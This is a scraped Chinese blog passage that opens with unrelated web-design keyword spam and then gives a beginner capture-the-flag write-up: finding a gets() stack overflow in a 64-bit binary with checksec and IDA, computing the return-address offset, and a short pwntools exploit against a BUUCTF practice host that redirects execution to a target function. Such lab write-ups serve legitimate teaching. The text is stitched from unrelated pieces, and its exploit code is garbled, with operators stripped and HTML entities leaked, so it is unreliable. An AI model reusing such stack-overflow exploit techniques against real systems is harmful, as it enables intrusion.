做全屏网站设计时容易犯的错,本溪网站制作,微营销系统,vi视觉识别系统1.检查文件--》checksec 一下 查看之后发现是64位#xff0c;直接放入IDA64进行反编译。
2.IDA反编译#xff0c;进行分析 发现是gets()函数可以造成栈溢出#xff0c;从而可以覆盖栈上的内容。
想法#xff1a;通过gets函数#xff08;栈溢出#xff09;来篡改栈上的内…1.检查文件--》checksec 一下 查看之后发现是64位直接放入IDA64进行反编译。
2.IDA反编译进行分析 发现是gets()函数可以造成栈溢出从而可以覆盖栈上的内容。
想法通过gets函数栈溢出来篡改栈上的内容指令从而达到控制指令输出我们想要得到的内容flag。
大概思路gets给s写入数据一般是垃圾数据一直到ebp并且覆盖ebp,然后将自己想要控制的指令输入就可以获得控制权。 如何实现
第一步查看gets()参数离ebp的距离 跳转查看参数的大小离ebp的距离 所以总的大小为0xF0x8
第二步将控制指令覆盖return的位置
在IDA中查看内容的时候可以使用 shiftF12 进行全部内容的查看。 找到目标指令对应的函数的地址我们将其覆盖return的地址就会调用其函数。
3.EXP
from pwn import *
ioremote(node4.buuoj.cn,29844)fun_addr0x401186payload ba*(0x80xF)
payload p64(fun_addr1)io.sendline(payload)
io.interactive()
在靶机中64位程序会进行栈平衡操作所以要在覆盖return的代码1.
作为新手时不要求理解太多有些东西先记着等接触更多的方面才能理解。最基本的东西往往是最难得。